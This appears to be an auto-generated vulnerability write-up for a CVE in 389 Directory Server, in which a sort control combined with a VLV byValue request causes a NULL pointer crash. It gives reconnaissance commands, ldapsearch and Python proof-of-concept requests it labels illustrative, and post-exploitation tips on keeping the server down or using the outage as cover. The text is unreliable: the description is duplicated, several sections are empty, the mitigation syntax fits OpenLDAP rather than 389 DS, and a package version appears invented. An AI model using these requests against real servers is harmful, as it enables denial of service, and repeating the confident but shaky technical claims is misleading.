CVE-2026-118472 — Red Hat Directory Server 11.5 E4S For RHEL 8 (*) — CWE-476
A flaw was found in 389 Directory Server. A missing validation check in the Virtual List View (VLV) byValue candidate-trimming logic allows a search request that combines a server-side sort control naming an incompatible ordering rule with a VLV byValue request to crash the server via a NULL pointer dereference, resulting in denial of service.
A flaw was found in 389 Directory Server. A missing validation check in the Virtual List View (VLV) byValue candidate-trimming logic allows a search request that combines a server-side sort control naming an incompatible ordering rule with a VLV byValue request to crash the server via a NULL pointer dereference, resulting in denial of service.
🎯 What is this vulnerability?
Technical root‑cause
The flaw is a missing validation check in the 389 Directory Server’s Virtual List View (VLV) implementation.
When a client issues an LDAP search that simultaneously:
1. Requests server‑side sorting via the Sort Control (e.g., cn), and
2. Requests a VLV by‑value request (the VLV control with the byValue parameter),
the server attempts to trim the candidate list that satisfies the VLV request.
Because the sort control references an incompatible ordering rule (e.g., the server only knows how to sort by cn, but the request asks for a different rule), the VLV trimming logic fails to validate the candidate list. The code then dereferences a NULL pointer, causing the 389 Directory Server process to crash.
CWE – CWE‑476: NULL Pointer Dereference
CVSS – 7.5/10 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L) – no special conditions required
- Privileges Required: None (PR:N) – any unauthenticated LDAP client can trigger it
- User Interaction: None (UI:N) – the request is fully automated
- Scope: Unchanged (S:U) – only the target server is affected
- Impact: Availability only (A:H), no confidentiality or integrity impact
⚡ Attack Chain
1. Discovery & Reconnaissance
| Step | Technique | Tools / Commands |
|---|---|---|
| Identify LDAP service | Port scan for LDAP (389/636) | nmap -p 389,636 <target> |
| Determine server type/version | LDAP banner or ldapsearch | ldapsearch -x -H ldap://<target>:389 -s base -b "" "(objectclass=*)" version |
| Confirm VLV support | Query server capabilities | ldapsearch -x -H ldap://<target>:389 -b "" "(objectclass=*)" supportedControl |
| Check sort control support | Same query | ldapsearch -x -H ldap://<target>:389 -b "" "(objectclass=*)" supportedControl |
Note: The 389 Directory Server advertises the Virtual List View (1.2.840.113556.1.4.417) and Sort (1.2.840.113556.1.4.473) controls in itssupportedControllist.
2. Exploitation
The attacker crafts a single LDAP search request that includes both controls. The request is sent over plain LDAP (port 389) or LDAPS (port 636). Below are two illustrative PoCs – one using the command‑lineldapsearch utility, the other using Python’s ldap3 library.Important: The exact control values (e.g., the ordering rule name) are not specified in the CVE description. The examples below are illustrative and demonstrate the class of request that triggers the crash.
2.1 ldapsearch PoC (illustrative)
ldapsearch \
-x \
-H ldap://<target>:389 \
-b "dc=example,dc=com" \
-E 'sort=cn' \
-E 'vlv=byValue=cn=John Doe' \
'(objectClass=*)'-x – simple authentication (no SASL) -E 'sort=cn' – server‑side sort on the cn attribute -E 'vlv=byValue=cn=John Doe' – VLV request that asks for the entry whose cn equals John Doe 2.2 Python ldap3 PoC (illustrative)
from ldap3 import Server, Connection, ALL, SUBTREE, SortControl, VlvControl
server = Server('ldap://<target>:389', get_info=ALL)
conn = Connection(server, user='cn=admin,dc=example,dc=com',
password='password', auto_bind=True)
# Server‑side sort on 'cn'
sort_ctrl = SortControl(attribute='cn')
# VLV by‑value request for cn=John Doe
vlv_ctrl = VlvControl(
target=1, # target position (1‑based)
content_count=10, # number of entries to return
offset=0, # offset from target
by_value='cn=John Doe'
)
# Execute the search
conn.search(
search_base='dc=example,dc=com',
search_filter='(objectClass=*)',
search_scope=SUBTREE,
attributes=['cn'],
controls=[sort_ctrl, vlv_ctrl]
)
print(conn.response)Result: The 389 Directory Server process crashes (segfault / abort) immediately after receiving the request. The client receives a connection reset or a “server unavailable” error.
3. Post‑Exploitation
Because the vulnerability is a Denial‑of‑Service (DoS), there is no direct post‑exploitation payload. However, an attacker can:1. Automate repeated requests to keep the server down, effectively performing a low‑impact DoS attack.
2. Use the DoS as a distraction while conducting other malicious activities (e.g., lateral movement, data exfiltration) on the same network.
3. Trigger the crash during a maintenance window to cause maximum disruption.
🌍 Real World Impact
| Impact | Description |
|---|---|
| Confidentiality | None – the vulnerability does not disclose data. |
| Integrity | None – no data is modified. |
| Availability | High – the server process terminates, causing the LDAP service to become unavailable until a restart or fail‑over. |
Practical consequences
🛡️ Remediation & Mitigation
Affected Versions
The CVE description does not enumerate specific version numbers. Recommendation:Workarounds
| Mitigation | How to Implement |
|---|---|
| Disable VLV | Edit slapd.conf or the equivalent configuration file to remove the vlv control from the list of enabled controls. Example: disable vlv or comment out vlv in the configuration. |
| Disable Server‑Side Sort | Similarly, disable the sort control (disable sort). |
| Restrict LDAP Access | Use firewall rules to allow LDAP traffic only from trusted IP ranges (e.g., internal network, VPN). Example (iptables):<br>iptables -A INPUT -p tcp --dport 389 -s 10.0.0.0/8 -j ACCEPT<br>iptables -A INPUT -p tcp --dport 389 -j DROP |
| Rate‑limit LDAP requests | Configure the LDAP server’s connection limits or use a front‑end proxy (e.g., HAProxy) to throttle requests. |
Note: Disabling VLV or sort controls may affect applications that rely on these features. Test in a staging environment before production deployment.
Detection
| Indicator | Log Example | How to Detect |
|---|---|---|
| Crash logs | 389 Directory Server: fatal error: null pointer dereference | Monitor system logs (/var/log/messages, /var/log/389ds/) for fatal errors. |
| Repeated LDAP search requests | ldapsearch: server returned error: 0x00000000 | Inspect LDAP access logs for repeated search requests containing sort and vlv controls. |
| Connection resets | Connection reset by peer | Network monitoring tools (Wireshark, Zeek) can flag abrupt TCP resets from the LDAP port. |
| Service unavailability alerts | LDAP service down | Use monitoring tools (Nagios, Zabbix) to alert on LDAP port downtime. |
Patch Management
1. Check vendor advisories: Search the 389 Directory Server release notes or security advisories for “CVE‑2026‑118472” or “VLV NULL pointer dereference”.
2. Apply the patch: Download the latest release (e.g., 389-ds-base-1.4.6-1.el8.x86_64.rpm) and install it using the package manager (yum, dnf, apt).
3. Verify: After upgrade, run a benign LDAP search to confirm the server remains stable.
4. Re‑test: Re‑run the PoC to ensure the crash no longer occurs.
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query